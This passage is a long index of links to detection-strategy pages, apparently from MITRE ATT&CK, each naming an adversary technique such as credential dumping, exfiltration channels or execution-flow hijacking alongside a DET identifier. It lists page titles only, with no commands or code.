Delegate Permissions](/detectionstrategies/DET0373) (v1.0) +* [Detection Strategy for Additional Cloud Credentials in IaaS/IdP/SaaS](/detectionstrategies/DET0531) (v1.0) +* [Detection Strategy for AppCert DLLs Persistence via Registry Injection](/detectionstrategies/DET0362) (v1.0) +* [Detection Strategy for Application Shimming via sdbinst.exe and Registry Artifacts (Windows)](/detectionstrategies/DET0017) (v1.0) +* [Detection Strategy for AutoHotKey & AutoIT Abuse](/detectionstrategies/DET0332) (v1.0) +* [Detection Strategy for Bind Mounts on Linux](/detectionstrategies/DET0428) (v1.0) +* [Detection Strategy for Boot or Logon Initialization Scripts: RC Scripts](/detectionstrategies/DET0237) (v1.0) +* [Detection Strategy for Build Image on Host](/detectionstrategies/DET0459) (v1.0) +* [Detection Strategy for Cloud Administration Command](/detectionstrategies/DET0545) (v1.0) +* [Detection Strategy for Cloud Application Integration](/detectionstrategies/DET0539) (v1.0) +* [Detection Strategy for Cloud Infrastructure Discovery](/detectionstrategies/DET0169) (v1.0) +* [Detection Strategy for Cloud Service Discovery](/detectionstrategies/DET0402) (v1.0) +* [Detection Strategy for Cloud Service Hijacking via SaaS Abuse](/detectionstrategies/DET0147) (v1.0) +* [Detection Strategy for Cloud Storage Object Discovery](/detectionstrategies/DET0578) (v1.0) +* [Detection Strategy for Command Obfuscation](/detectionstrategies/DET0505) (v1.0) +* [Detection Strategy for Compile After Delivery - Source Code to Executable Transformation](/detectionstrategies/DET0501) (v1.0) +* [Detection Strategy for Compressed Payload Creation and Execution](/detectionstrategies/DET0281) (v1.0) +* [Detection Strategy for Container Administration Command Abuse](/detectionstrategies/DET0065) (v1.0) +* [Detection Strategy for Container and Resource Discovery](/detectionstrategies/DET0490) (v1.0) +* [Detection Strategy for Content Injection](/detectionstrategies/DET0349) (v1.0) +* [Detection Strategy for Data Encoding in C2 Channels](/detectionstrategies/DET0108) (v1.0) +* [Detection Strategy for Data Manipulation](/detectionstrategies/DET0059) (v1.0) +* [Detection Strategy for Data Transfer Size Limits and Chunked Exfiltration](/detectionstrategies/DET0213) (v1.0) +* [Detection Strategy for Data from Configuration Repository on Network Devices](/detectionstrategies/DET0592) (v1.0) +* [Detection Strategy for Data from Network Shared Drive](/detectionstrategies/DET0410) (v1.0) +* [Detection Strategy for Debugger Evasion (T1622)](/detectionstrategies/DET0371) (v1.0) +* [Detection Strategy for Device Driver Discovery](/detectionstrategies/DET0579) (v1.0) +* [Detection Strategy for Disable or Modify Cloud Firewall](/detectionstrategies/DET0424) (v1.0) +* [Detection Strategy for Disable or Modify Cloud Logs](/detectionstrategies/DET0289) (v1.0) +* [Detection Strategy for Disable or Modify Linux Audit System](/detectionstrategies/DET0062) (v1.0) +* [Detection Strategy for Disk Content Wipe via Direct Access and Overwrite](/detectionstrategies/DET0316) (v1.0) +* [Detection Strategy for Disk Structure Wipe via Boot/Partition Overwrite](/detectionstrategies/DET0297) (v1.0) +* [Detection Strategy for Disk Wipe via Direct Disk Access and Destructive Commands](/detectionstrategies/DET0137) (v1.0) +* [Detection Strategy for Double File Extension Masquerading](/detectionstrategies/DET0366) (v1.0) +* [Detection Strategy for Downgrade System Image on Network Devices](/detectionstrategies/DET0569) (v1.0) +* [Detection Strategy for Dynamic API Resolution via Hash-Based Function Lookups](/detectionstrategies/DET0091) (v1.0) +* [Detection Strategy for Dynamic Resolution across OS Platforms](/detectionstrategies/DET0039) (v1.0) +* [Detection Strategy for Dynamic Resolution through DNS Calculation](/detectionstrategies/DET0262) (v1.0) +* [Detection Strategy for Dynamic Resolution using Domain Generation Algorithms.](/detectionstrategies/DET0419) (v1.0) +* [Detection Strategy for Dynamic Resolution using Fast Flux DNS](/detectionstrategies/DET0485) (v1.0) +* [Detection Strategy for ESXi Administration Command](/detectionstrategies/DET0232) (v1.0) +* [Detection Strategy for ESXi Hypervisor CLI Abuse](/detectionstrategies/DET0558) (v1.0) +* [Detection Strategy for Email Bombing](/detectionstrategies/DET0355) (v1.0) +* [Detection Strategy for Email Hiding Rules](/detectionstrategies/DET0192) (v1.0) +* [Detection Strategy for Email Spoofing](/detectionstrategies/DET0431) (v1.0) +* [Detection Strategy for Embedded Payloads](/detectionstrategies/DET0214) (v1.0) +* [Detection Strategy for Encrypted Channel across OS Platforms](/detectionstrategies/DET0273) (v1.0) +* [Detection Strategy for Encrypted Channel via Asymmetric Cryptography across OS Platforms](/detectionstrategies/DET0543) (v1.0) +* [Detection Strategy for Encrypted Channel via Symmetric Cryptography across OS Platforms](/detectionstrategies/DET0143) (v1.0) +* [Detection Strategy for Endpoint DoS via Application or System Exploitation](/detectionstrategies/DET0304) (v1.0) +* [Detection Strategy for Endpoint DoS via Service Exhaustion Flood](/detectionstrategies/DET0173) (v1.0) +* [Detection Strategy for Escape to Host](/detectionstrategies/DET0219) (v1.0) +* [Detection Strategy for Event Triggered Execution via Trap (T1546.005)](/detectionstrategies/DET0369) (v1.0) +* [Detection Strategy for Event Triggered Execution via emond on macOS](/detectionstrategies/DET0555) (v1.0) +* [Detection Strategy for Event Triggered Execution: AppInit DLLs (Windows)](/detectionstrategies/DET0557) (v1.0) +* [Detection Strategy for Exclusive Control](/detectionstrategies/DET0015) (v1.0) +* [Detection Strategy for Exfiltration Over C2 Channel](/detectionstrategies/DET0348) (v1.0) +* [Detection Strategy for Exfiltration Over Web Service](/detectionstrategies/DET0548) (v1.0) +* [Detection Strategy for Exfiltration Over Webhook](/detectionstrategies/DET0153) (v1.0) +* [Detection Strategy for Exfiltration to Cloud Storage](/detectionstrategies/DET0570) (v1.0) +* [Detection Strategy for Exfiltration to Code Repository](/detectionstrategies/DET0318) (v1.0) +* [Detection Strategy for Exfiltration to Text Storage Sites](/detectionstrategies/DET0284) (v1.0) +* [Detection Strategy for Exploitation for Credential Access](/detectionstrategies/DET0174) (v1.0) +* [Detection Strategy for Exploitation for Defense Evasion](/detectionstrategies/DET0595) (v1.0) +* [Detection Strategy for Exploitation for Privilege Escalation](/detectionstrategies/DET0514) (v1.0) +* [Detection Strategy for Extended Attributes Abuse](/detectionstrategies/DET0406) (v1.0) +* [Detection Strategy for Extra Window Memory (EWM) Injection on Windows](/detectionstrategies/DET0217) (v1.0) +* [Detection Strategy for File Creation or Modification of Boot Files](/detectionstrategies/DET0150) (v1.0) +* [Detection Strategy for File/Path Exclusions](/detectionstrategies/DET0051) (v1.0) +* [Detection Strategy for Fileless Storage via Registry, WMI, and Shared Memory](/detectionstrategies/DET0344) (v1.0) +* [Detection Strategy for Financial Theft](/detectionstrategies/DET0495) (v1.0) +* [Detection Strategy for Forged SAML Tokens](/detectionstrategies/DET0148) (v1.0) +* [Detection Strategy for Forged Web Cookies](/detectionstrategies/DET0171) (v1.0) +* [Detection Strategy for Forged Web Credentials](/detectionstrategies/DET0260) (v1.0) +* [Detection Strategy for HTML Smuggling via JavaScript Blob + Dynamic File Drop](/detectionstrategies/DET0313) (v1.0) +* [Detection Strategy for Hidden Artifacts Across Platforms](/detectionstrategies/DET0502) (v1.0) +* [Detection Strategy for Hidden File System Abuse](/detectionstrategies/DET0461) (v1.0) +* [Detection Strategy for Hidden Files and Directories](/detectionstrategies/DET0032) (v1.0) +* [Detection Strategy for Hidden User Accounts](/detectionstrategies/DET0353) (v1.0) +* [Detection Strategy for Hidden Virtual Instance Execution](/detectionstrategies/DET0321) (v1.0) +* [Detection Strategy for Hidden Windows](/detectionstrategies/DET0128) (v1.0) +* [Detection Strategy for Hide Infrastructure](/detectionstrategies/DET0411) (v1.0) +* [Detection Strategy for Hijack Execution Flow across OS platforms.](/detectionstrategies/DET0218) (v1.0) +* [Detection Strategy for Hijack Execution Flow for DLLs](/detectionstrategies/DET0201) (v1.0) +* [Detection Strategy for Hijack Execution Flow through Path Interception by Unquoted Path](/detectionstrategies/DET0064) (v1.0) +* [Detection Strategy for Hijack Execution Flow through Service Registry Premission Weakness.](/detectionstrategies/DET0427) (v1.0) +* [Detection Strategy for Hijack Execution Flow through Services File Permissions Weakness.](/detectionstrategies/DET0436) (v1.0) +* [Detection Strategy for Hijack Execution Flow through the AppDomainManager on Windows.](/detectionstrategies/DET0517) (v1.0) +* [Detection Strategy for Hijack Execution Flow through the KernelCallbackTable on Windows.](/detectionstrategies/DET0577) (v1.0) +* [Detection Strategy for Hijack Execution Flow using Executable Installer File Permissions Weakness](/detectionstrategies/DET0038) (v1.0) +* [Detection Strategy for Hijack Execution Flow using Path Interception by PATH Environment Variable.](/detectionstrategies/DET0004) (v1.0) +* [Detection Strategy for Hijack Execution Flow using Path Interception by Search Order Hijacking](/detectionstrategies/DET0564) (v1.0) +* [Detection Strategy for Hijack Execution Flow using the Windows COR_PROFILER.](/detectionstrategies/DET0479) (v1.0) +* [Detection Strategy for Hijack Execution Flow: Dylib Hijacking](/detectionstrategies/DET0152) (v1.0) +* [Detection Strategy for Hijack Execution Flow: Dynamic Linker Hijacking](/detectionstrategies/DET0435) (v1.0) +* [Detection Strategy for IFEO Injection on Windows](/detectionstrategies/DET0422) (v1.0) +* [Detection Strategy for Ignore Process Interrupts](/detectionstrategies/DET0067) (v1.0) +* [Detection Strategy for Impair Defenses Across Platforms](/detectionstrategies/DET0317) (v1.0) +* [Detection Strategy for Impair Defenses Indicator Blocking](/detectionstrategies/DET0239) (v1.0) +* [Detection Strategy for Impair Defenses via Impair Command History Logging across OS platforms.](/detectionstrategies/DET0563) (v1.0) +* [Detection Strategy for Impersonation](/detectionstrategies/DET0286) (v1.0) +* [Detection Strategy for Indicator Removal from Tools - Post-AV Evasion Modification](/detectionstrategies/DET0189) (v1.0) +* [Detection Strategy for Input Injection](/detectionstrategies/DET0568) (v1.0) +* [Detection Strategy for Junk Code Obfuscation with Suspicious Execution Patterns](/detectionstrategies/DET0322) (v1.0) +* [Detection Strategy for Kernel Modules and Extensions Autostart Execution](/detectionstrategies/DET0450) (v1.0) +* [Detection Strategy for LC_LOAD_DYLIB Modification in Mach-O Binaries on macOS](/detectionstrategies/DET0216) (v1.0) +* [Detection Strategy for LNK Icon Smuggling](/detectionstrategies/DET0405) (v1.0) +* [Detection Strategy for Lateral Tool Transfer across OS platforms](/detectionstrategies/DET0183) (v1.0) +* [Detection Strategy for Launch Daemon Creation or Modification (macOS)](/detectionstrategies/DET0401) (v1.0) +* [Detection Strategy for ListPlanting Injection on Windows](/detectionstrategies/DET0331) (v1.0) +* [Detection Strategy for Log Enumeration](/detectionstrategies/DET0255) (v1.0) +* [Detection Strategy for Login Hook Persistence on macOS](/detectionstrategies/DET0244) (v1.0) +* [Detection Strategy for Lua Scripting Abuse](/detectionstrategies/DET0101) (v1.0) +* [Detection Strategy for MFA Interception via Input Capture and Smart Card Proxying](/detectionstrategies/DET0246) (v1.0) +* [Detection Strategy for Masquerading via Account Name Similarity](/detectionstrategies/DET0383) (v1.0) +* [Detection Strategy for Masquerading via Breaking Process Trees](/detectionstrategies/DET0443) (v1.0) +* [Detection Strategy for Masquerading via File Type Modification](/detectionstrategies/DET0226) (v1.0) +* [Detection Strategy for Masquerading via Legitimate Resource Name or Location](/detectionstrategies/DET0347) (v1.0) +* [Detection Strategy for Modify Cloud Compute Infrastructure](/detectionstrategies/DET0308) (v1.0) +* [Detection Strategy for Modify Cloud Compute Infrastructure: Create Cloud Instance](/detectionstrategies/DET0449) (v1.0) +* [Detection Strategy for Modify Cloud Compute Infrastructure: Create Snapshot](/detectionstrategies/DET0423) (v1.0) +* [Detection Strategy for Modify Cloud Compute Infrastructure: Delete Cloud Instance](/detectionstrategies/DET0084) (v1.0) +* [Detection Strategy for Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations](/detectionstrategies/DET0492) (v1.0) +* [Detection Strategy for Modify Cloud Compute Infrastructure: Revert Cloud Instance](/detectionstrategies/DET0337) (v1.0) +* [Detection Strategy for Modify Cloud Resource Hierarchy](/detectionstrategies/DET0155) (v1.0) +* [Detection Strategy for Modify System Image on Network Devices](/detectionstrategies/DET0170) (v1.0) +* [Detection Strategy for Multi-Factor Authentication Request Generation (T1621)](/detectionstrategies/DET0160) (v1.0) +* [Detection Strategy for NTFS File Attribute Abuse (ADS/EAs)](/detectionstrategies/DET0432) (v1.0) +* [Detection Strategy for Netsh Helper DLL Persistence via Registry and Child Process Monitoring (Windows)](/detectionstrategies/DET0575) (v1.0) +* [Detection Strategy for Network Address Translation Traversal](/detectionstrategies/DET0163) (v1.0) +* [Detection Strategy for Network Boundary Bridging](/detectionstrategies/DET0006) (v1.0) +* [Detection Strategy for Network Device Configuration Dump via Config Repositories](/detectionstrategies/DET0233) (v1.0) +* [Detection Strategy for Network Sniffing Across Platforms](/detectionstrategies/DET0314) (v1.0) +* [Detection Strategy for Non-Standard Ports](/detectionstrategies/DET0227) (v1.0) +* [Detection Strategy for Obfuscated Files or Information: Binary Padding](/detectionstrategies/DET0553) (v1.0) +* [Detection Strategy for Overwritten Process Arguments Masquerading](/detectionstrategies/DET0164) (v1.0) +* [Detection Strategy for Patch System Image on Network Devices](/detectionstrategies/DET0469) (v1.0) +* [Detection Strategy for Phishing across platforms.](/detectionstrategies/DET0070) (v1.0) +* [Detection Strategy for Plist File Modification (T1647)](/detectionstrategies/DET0109) (v1.0) +* [Detection Strategy for Poisoned Pipeline Execution via SaaS CI/CD Workflows](/detectionstrategies/DET0533) (v1.0) +* [Detection Strategy for Polymorphic Code Mutation and Execution](/detectionstrategies/DET0324) (v1.0) +* [Detection Strategy for Power Settings Abuse](/detectionstrategies/DET0417) (v1.0) +* [Detection Strategy for PowerShell Profile Persistence via profile.ps1 Modification](/detectionstrategies/DET0451) (v1.0) +* [Detection Strategy for Process Argument Spoofing on Windows](/detectionstrategies/DET0045) (v1.0) +* [Detection Strategy for Process Doppelgänging on Windows](/detectionstrategies/DET0544) (v1.0) +* [Detection Strategy for Process Hollowing on Windows](/detectionstrategies/DET0382) (v1.0) +* [Detection Strategy for Protocol Tunneling accross OS platforms.](/detectionstrategies/DET0538) (v1.0) +* [Detection Strategy for Ptrace-Based Process Injection on Linux](/detectionstrategies/DET0203) (v1.0) +* [Detection Strategy for Reflection Amplification DoS (T1498.002)](/detectionstrategies/DET0408) (v1.0) +* [Detection Strategy for Reflective Code Loading](/detectionstrategies/DET0300) (v1.0) +* [Detection Strategy for Remote System Enumeration Behavior](/detectionstrategies/DET0574) (v1.0) +* [Detection Strategy for Resource Forking on macOS](/detectionstrategies/DET0584) (v1.0) +* [Detection Strategy for Resource Hijacking: SMS Pumping via SaaS Application Logs](/detectionstrategies/DET0156) (v1.0) +* [Detection Strategy for Rogue Domain Controller (DCShadow) Registration and Replication Abuse](/detectionstrategies/DET0276) (v1.0) +* [Detection Strategy for Role Addition to Cloud Accounts](/detectionstrategies/DET0277) (v1.0) +* [Detection Strategy for Runtime Data Manipulation.](/detectionstrategies/DET0391) (v1.0) +* [Detection Strategy for SNMP (MIB Dump) on Network Devices](/detectionstrategies/DET0453) (v1.0) +* [Detection Strategy for SQL Stored Procedures Abuse via T1505.001](/detectionstrategies/DET0181) (v1.0) +* [Detection Strategy for SSH Key Injection in Authorized Keys](/detectionstrategies/DET0126) (v1.0) +* [Detection Strategy for SSH Session Hijacking](/detectionstrategies/DET0256) (v1.0) +* [Detection Strategy for SVG Smuggling with Script Execution and Delivery Behavior](/detectionstrategies/DET0510) (v1.0) +* [Detection Strategy for Safe Mode Boot Abuse](/detectionstrategies/DET0116) (v1.0) +* [Detection Strategy for Scheduled Transfer and Recurrent Exfiltration Patterns](/detectionstrategies/DET0399) (v1.0) +* [Detection Strategy for Serverless Execution (T1648)](/detectionstrategies/DET0374) (v1.0) +* [Detection Strategy for Spearphishing Attachment across OS Platforms](/detectionstrategies/DET0236) (v1.0) +* [Detection Strategy for Spearphishing Links](/detectionstrategies/DET0107) (v1.0) +* [Detection Strategy for Spearphishing Voice across OS platforms](/detectionstrategies/DET0245) (v1.0) +* [Detection Strategy for Spearphishing via a Service across OS Platforms](/detectionstrategies/DET0115) (v1.0) +* [Detection Strategy for Steal or Forge Authentication Certificates](/detectionstrategies/DET0240) (v1.0) +* [Detection Strategy for Steganographic Abuse in File & Script Execution](/detectionstrategies/DET0119) (v1.0) +* [Detection Strategy for Stored Data Manipulation across OS Platforms.](/detectionstrategies/DET0193) (v1.0) +* [Detection Strategy for Stripped Payloads Across Platforms](/detectionstrategies/DET0019) (v1.0) +* [Detection Strategy for Subvert Trust Controls using SIP and Trust Provider Hijacking.](/detectionstrategies/DET0442) (v1.0) +* [Detection Strategy for Subvert Trust Controls via Install Root Certificate.](/detectionstrategies/DET0056) (v1.0) +* [Detection Strategy for System Binary Proxy Execution: Regsvr32](/detectionstrategies/DET0282) (v1.0) +* [Detection Strategy for System Language Discovery](/detectionstrategies/DET0565) (v1.0) +* [Detection Strategy for System Location Discovery](/detectionstrategies/DET0043) (v1.0) +* [Detection Strategy for System Services Service Execution](/detectionstrategies/DET0421) (v1.0) +* [Detection Strategy for System Services across OS platforms.](/detectionstrategies/DET0279) (v1.0) +* [Detection Strategy for System Services: Launchctl](/detectionstrategies/DET0265) (v1.0) +* [Detection Strategy for System Services: Systemctl](/detectionstrategies/DET0073) (v1.0) +* [Detection Strategy for T1136 - Create Account across platforms](/detectionstrategies/DET0583) (v1.0) +* [Detection Strategy for T1136.003 - Cloud Account Creation across IaaS, IdP, SaaS, Office](/detectionstrategies/DET0319) (v1.0) +* [Detection Strategy for T1218.011 Rundll32 Abuse](/detectionstrategies/DET0475) (v1.0) +* [Detection Strategy for T1218.012 Verclsid Abuse](/detectionstrategies/DET0042) (v1.0) +* [Detection Strategy for T1497 Virtualization/Sandbox Evasion](/detectionstrategies/DET0046) (v1.0) +* [Detection Strategy for T1505 - Server Software Component](/detectionstrategies/DET0547) (v1.0) +* [Detection Strategy for T1505.002 - Transport Agent Abuse (Windows/Linux)](/detectionstrategies/DET0166) (v1.0) +* [Detection Strategy for T1505.004 - Malicious IIS Components](/detectionstrategies/DET0068) (v1.0) +* [Detection Strategy for T1505.005 – Terminal Services DLL Modification (Windows)](/detectionstrategies/DET0212) (v1.0) +* [Detection Strategy for T1525 – Implant Internal Image](/detectionstrategies/DET0334) (v1.0) +* [Detection Strategy for T1528 - Steal Application Access Token](/detectionstrategies/DET0515) (v1.0) +* [Detection Strategy for T1542 Pre-OS Boot](/detectionstrategies/DET0278) (v1.0) +* [Detection Strategy for T1542.001 Pre-OS Boot: System Firmware](/detectionstrategies/DET0099) (v1.0) +* [Detection Strategy for T1542.002 Pre-OS Boot: Component Firmware](/detectionstrategies/DET0323) (v1.0) +* [Detection Strategy for T1542.004 Pre-OS Boot: ROMMONkit](/detectionstrategies/DET0175) (v1.0) +* [Detection Strategy for T1542.005 Pre-OS Boot: TFTP Boot](/detectionstrategies/DET0582) (v1.0) +* [Detection Strategy for T1546.016 - Event Triggered Execution via Installer Packages](/detectionstrategies/DET0330) (v1.0) +* [Detection Strategy for T1546.017 - Udev Rules (Linux)](/detectionstrategies/DET0375) (v1.0) +* [Detection Strategy for T1547.009 – Shortcut Modification (Windows)](/detectionstrategies/DET0180) (v1.0) +* [Detection Strategy for T1547.010 – Port Monitor DLL Persistence via spoolsv.exe (Windows)](/detectionstrategies/DET0204) (v1.0) +* [Detection Strategy for T1547.015 – Login Items on macOS](/detectionstrategies/DET0121) (v1.0) +* [Detection Strategy for T1548.002 – Bypass User Account Control (UAC)](/detectionstrategies/DET0388) (v1.0) +* [Detection Strategy for T1550.002 - Pass the Hash (Windows)](/detectionstrategies/DET0409) (v1.0) +* [Detection Strategy for T1550.003 - Pass the Ticket (Windows)](/detectionstrategies/DET0352) (v1.0) +* [Detection Strategy for TLS Callback Injection via PE Memory Modification and Hollowing](/detectionstrategies/DET0467) (v1.0) +* [Detection Strategy for Temporary Elevated Cloud Access Abuse (T1548.005)](/detectionstrategies/DET0393) (v1.0) +* [Detection Strategy for Traffic Duplication via Mirroring in IaaS and Network Devices](/detectionstrategies/DET0403) (v1.0) +* [Detection Strategy for VBA Stomping](/detectionstrategies/DET0012) (v1.0) +* [Detection Strategy for VDSO Hijacking on Linux](/detectionstrategies/DET0448) (v1.0) +* [Detection Strategy for Virtual Machine Discovery](/detectionstrategies/DET0199) (v1.0) +* [Detection Strategy for Weaken Encryption on Network Devices](/detectionstrategies/DET0339) (v1.0) +* [Detection Strategy for Weaken Encryption: Disable Crypto Hardware on Network Devices](/detectionstrategies/DET0494) (v1.0) +* [Detection Strategy for Weaken Encryption: Reduce Key Space on Network Devices](/detectionstrategies/DET0243) (v1.0) +* [Detection Strategy for Web Service: Dead Drop Resolver](/detectionstrategies/DET0058) (v1.0) +* [Detection Strategy for Wi-Fi Networks](/detectionstrategies/DET0536) (v1.0) +* [Detection Strategy of Transmitted Data Manipulation](/detectionstrategies/DET0254) (v1.0) +* [Detection fo Remote Service Session Hijacking for RDP.](/detectionstrategies/DET0588) (v1.0) +* [Detection for Spoofing Security Alerting across OS Platforms](/detectionstrategies/DET0311) (v1.0) +* [Detection of Abused or Compromised Cloud Accounts for Access and Persistence](/detectionstrategies/DET0546) (v1.0) +* [Detection of Acquire Access](/detectionstrategies/DET0884) (v1.0) +* [Detection of Acquire Infrastructure](/detectionstrategies/DET0895) (v1.0) +* [Detection of Active Scanning](/detectionstrategies/DET0830) (v1.0) +* [Detection of Adversarial Process Discovery Behavior](/detectionstrategies/DET0034) (v1.0) +* [Detection of Adversary Abuse of Software Deployment Tools](/detectionstrategies/DET0223) (v1.0) +* [Detection of Adversary Use of Unused or Unsupported Cloud Regions (IaaS)](/detectionstrategies/DET0247) (v1.0) +* [Detection of AppleScript-Based Execution on macOS](/detectionstrategies/DET0414) (v1.0) +* [Detection of Application Window Enumeration via API or Scripting](/detectionstrategies/DET0097) (v1.0) +* [Detection of Artificial Intelligence](/detectionstrategies/DET0842) (v1.0) +* [Detection of Bluetooth-Based Data Exfiltration](/detectionstrategies/DET0554) (v1.0) +* [Detection of Botnet](/detectionstrategies/DET0837) (v1.0) +* [Detection of Botnet](/detectionstrategies/DET0883) (v1.0) +* [Detection of Business Relationships](/detectionstrategies/DET0855) (v1.0) +* [Detection of CDNs](/detectionstrategies/DET0809) (v1.0) +* [Detection of Cached Domain Credential Dumping via Local Hash Cache Access](/detectionstrategies/DET0513) (v1.0) +* [Detection of Client Configurations](/detectionstrategies/DET0820) (v1.0) +* [Detection of Cloud Accounts](/detectionstrategies/DET0879) (v1.0) +* [Detection of Cloud Accounts](/detectionstrategies/DET0846) (v1.0) +* [Detection of Cloud Service Dashboard Usage via GUI-Based Cloud Access](/detectionstrategies/DET0291) (v1.0) +* [Detection of Code Repositories](/detectionstrategies/DET0805) (v1.0) +* [Detection of Code Signing Certificates](/detectionstrategies/DET0875) (v1.0) +* [Detection of Code Signing Certificates](/detectionstrategies/DET0833) (v1.0) +* [Detection of Command and Control Over Application Layer Protocols](/detectionstrategies/DET0444) (v1.0) +* [Detection of Compromise Accounts](/detectionstrategies/DET0876) (v1.0) +* [Detection of Compromise Infrastructure](/detectionstrategies/DET0885) (v1.0) +* [Detection of Credential Dumping from LSASS Memory via Access and Dump Sequence](/detectionstrategies/DET0363) (v1.0) +* [Detection of Credential Harvesting via API Hooking](/detectionstrategies/DET0139) (v1.0) +* [Detection of Credential Harvesting via Web Portal Modification](/detectionstrategies/DET0480) (v1.0) +* [Detection of Credentials](/detectionstrategies/DET0813) (v1.0) +* [Detection of DNS](/detectionstrategies/DET0843) (v1.0) +* [Detection of DNS Server](/detectionstrategies/DET0862) (v1.0) +* [Detection of DNS Server](/detectionstrategies/DET0891) (v1.0) +* [Detection of DNS/Passive DNS](/detectionstrategies/DET0877) (v1.0) +* [Detection of Data Access and Collection from Removable Media](/detectionstrategies/DET0511) (v1.0) +* [Detection of Data Destruction Across Platforms via Mass Overwrite and Deletion Patterns](/detectionstrategies/DET0146) (v1.0) +* [Detection of Data Exfiltration via Removable Media](/detectionstrategies/DET0123) (v1.0) +* [Detection of Data Staging Prior to Exfiltration](/detectionstrategies/DET0014) (v1.0) +* [Detection of Default Account Abuse Across Platforms](/detectionstrategies/DET0465) (v1.0) +* [Detection of Determine Physical Locations](/detectionstrategies/DET0806) (v1.0) +* [Detection of Develop Capabilities](/detectionstrategies/DET0853) (v1.0) +* [Detection of Digital Certificates](/detectionstrategies/DET0831) (v1.0) +* [Detection of Digital Certificates](/detectionstrategies/DET0844) (v1.0) +* [Detection of Digital Certificates](/detectionstrategies/DET0848) (v1.0) +* [Detection of Direct VM Console Access via Cloud-Native Methods](/detectionstrategies/DET0211) (v1.0) +* [Detection of Direct Volume Access for File System Evasion](/detectionstrategies/DET0426) (v1.0) +* [Detection of Disabled or Modified System Firewalls across OS Platforms.](/detectionstrategies/DET0145) (v1.0) +* [Detection of Domain Properties](/detectionstrategies/DET0847) (v1.0) +* [Detection of Domain Trust Discovery via API, Script, and CLI Enumeration](/detectionstrategies/DET0007) (v1.0) +* [Detection of Domain or Tenant Policy Modifications via AD and Identity Provider](/detectionstrategies/DET0270) (v1.0) +* [Detection of Domains](/detectionstrategies/DET0863) (v1.0) +* [Detection of Domains](/detectionstrategies/DET0892) (v1.0) +* [Detection of Drive-by Target](/detectionstrategies/DET0825) (v1.0) +* [Detection of Email Accounts](/detectionstrategies/DET0835) (v1.0) +* [Detection of Email Accounts](/detectionstrategies/DET0861) (v1.0) +* [Detection of Email Addresses](/detectionstrategies/DET0814) (v1.0) +* [Detection of Employee Names](/detectionstrategies/DET0857) (v1.0) +* [Detection of Establish Accounts](/detectionstrategies/DET0873) (v1.0) +* [Detection of Event Log Clearing on Windows via Behavioral Chain](/detectionstrategies/DET0532) (v1.0) +* [Detection of Exfiltration Over Alternate Network Interfaces](/detectionstrategies/DET0077) (v1.0) +* [Detection of Exfiltration Over Asymmetric Encrypted Non-C2 Protocol](/detectionstrategies/DET0512) (v1.0) +* [Detection of Exfiltration Over Unencrypted Non-C2 Protocol](/detectionstrategies/DET0149) (v1.0) +* [Detection of Exploits](/detectionstrategies/DET0827) (v1.0) +* [Detection of Exploits](/detectionstrategies/DET0894) (v1.0) +* [Detection of File Transfer Protocol-Based C2 (FTP, FTPS, SMB, TFTP)](/detectionstrategies/DET0416) (v1.0) +* [Detection of Firmware](/detectionstrategies/DET0818) (v1.0) +* [Detection of Gather Victim Host Information](/detectionstrategies/DET0826) (v1.0) +* [Detection of Gather Victim Identity Information](/detectionstrategies/DET0841) (v1.0) +* [Detection of Gather Victim Network Information](/detectionstrategies/DET0869) (v1.0) +* [Detection of Gather Victim Org Information](/detectionstrategies/DET0890) (v1.0) +* [Detection of Group Policy Modifications via AD Object Changes and File Activity](/detectionstrategies/DET0305) (v1.0) +* [Detection of Hardware](/detectionstrategies/DET0887) (v1.0) +* [Detection of IP Addresses](/detectionstrategies/DET0815) (v1.0) +* [Detection of Identify Business Tempo](/detectionstrategies/DET0849) (v1.0) +* [Detection of Identify Roles](/detectionstrategies/DET0807) (v1.0) +* [Detection of Impair Defenses through Disabled or Modified Tools across OS Platforms.](/detectionstrategies/DET0497) (v1.0) +* [Detection of Install Digital Certificate](/detectionstrategies/DET0840) (v1.0) +* [Detection of Kernel/User-Level Rootkit Behavior Across Platforms](/detectionstrategies/DET0377) (v1.0) +* [Detection of LSA Secrets Dumping via Registry and Memory Extraction](/detectionstrategies/DET0437) (v1.0) +* [Detection of Launch Agent Creation or Modification on macOS](/detectionstrategies/DET0434) (v1.0) +* [Detection of Lifecycle Policy Modifications for Triggered Deletion in IaaS Cloud Storage](/detectionstrategies/DET0041) (v1.0) +* [Detection of Link Target](/detectionstrategies/DET0893) (v1.0) +* [Detection of Local Account Abuse for Initial Access and Persistence](/detectionstrategies/DET0407) (v1.0) +* [Detection of Local Browser Artifact Access for Reconnaissance](/detectionstrategies/DET0013) (v1.0) +* [Detection of Local Data Collection Prior to Exfiltration](/detectionstrategies/DET0380) (v1.0) +* [Detection of Local Data Staging Prior to Exfiltration](/detectionstrategies/DET0261) (v1.0) +* [Detection of Mail Protocol-Based C2 Activity (SMTP, IMAP, POP3)](/detectionstrategies/DET0135) (v1.0) +* [Detection of Malicious Code Execution via InstallUtil.exe](/detectionstrategies/DET0138) (v1.0) +* [Detection of Malicious Control Panel Item Execution via control.exe or Rundll32](/detectionstrategies/DET0194) (v1.0) +* [Detection of Malicious Kubernetes CronJob Scheduling](/detectionstrategies/DET0206) (v1.0) +* [Detection of Malicious Profile Installation via CMSTP.exe](/detectionstrategies/DET0328) (v1.0) +* [Detection of Malicious or Unauthorized Software Extensions](/detectionstrategies/DET0092) (v1.0) +* [Detection of Malvertising](/detectionstrategies/DET0836) (v1.0) +* [Detection of Malware](/detectionstrategies/DET0872) (v1.0) +* [Detection of Malware](/detectionstrategies/DET0845) (v1.0) +* [Detection of Malware Relocation via Suspicious File Movement](/detectionstrategies/DET0439) (v1.0) +* [Detection of Masqueraded Tasks or Services with Suspicious Naming and Execution](/detectionstrategies/DET0117) (v1.0) +* [Detection of Msiexec Abuse for Local, Network, and DLL Execution](/detectionstrategies/DET0158) (v1.0) +* [Detection of Multi-Platform File Encryption for Impact](/detectionstrategies/DET0215) (v1.0) +* [Detection of Mutex-Based Execution Guardrails Across Platforms](/detectionstrategies/DET0132) (v1.0) +* [Detection of NTDS.dit Credential Dumping from Domain Controllers](/detectionstrategies/DET0586) (v1.0) +* [Detection of Network Devices](/detectionstrategies/DET0859) (v1.0) +* [Detection of Network Security Appliances](/detectionstrategies/DET0889) (v1.0) +* [Detection of Network Topology](/detectionstrategies/DET0819) (v1.0) +* [Detection of Network Trust Dependencies](/detectionstrategies/DET0828) (v1.0) +* [Detection of Non-Application Layer Protocols for C2](/detectionstrategies/DET0457) (v1.0) +* [Detection of Obtain Capabilities](/detectionstrategies/DET0850) (v1.0) +* [Detection of 